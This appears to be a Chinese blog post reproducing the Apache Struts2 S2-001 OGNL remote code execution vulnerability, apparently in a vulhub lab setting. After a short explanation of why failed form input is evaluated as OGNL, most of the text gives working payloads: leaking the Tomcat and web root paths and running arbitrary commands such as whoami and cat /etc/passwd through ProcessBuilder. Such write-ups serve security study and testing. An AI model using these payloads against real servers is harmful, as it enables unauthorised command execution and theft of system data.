S2-001 远程代码执行漏洞

漏洞原理

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如:当你提交的登录表单为username=admin&password=%{1+1}时,后端验证登录失败后会返回登录界面并显示你的输入,这时password字段中的OGNL表达式已经被解析处理过了,所以会显示%{1+1}的解析结果2,从而可以构造payload进行RCE。

漏洞复现

对漏洞进行复现,首先在password地方输入%{1+1}

点击登陆,发现报错返回解析成了2

证明漏洞存在!!!

POC && EXP

a.获取tomcat执行路径:

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

b、获取Web路径:

%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}

c、执行命令

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

执行任意命令时,如果所执行的命令需要组合,则将上述 payload 改为:

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

参考链接:
https://github.com/vulhub/vulhub/blob/master/struts2/s2-001/README.zh-cn.md
https://blog.csdn.net/qq_29647709/article/details/84945159

总会有不期而遇的温暖. 和生生不息的希望。
原文地址:https://www.cnblogs.com/devi1/p/13486635.html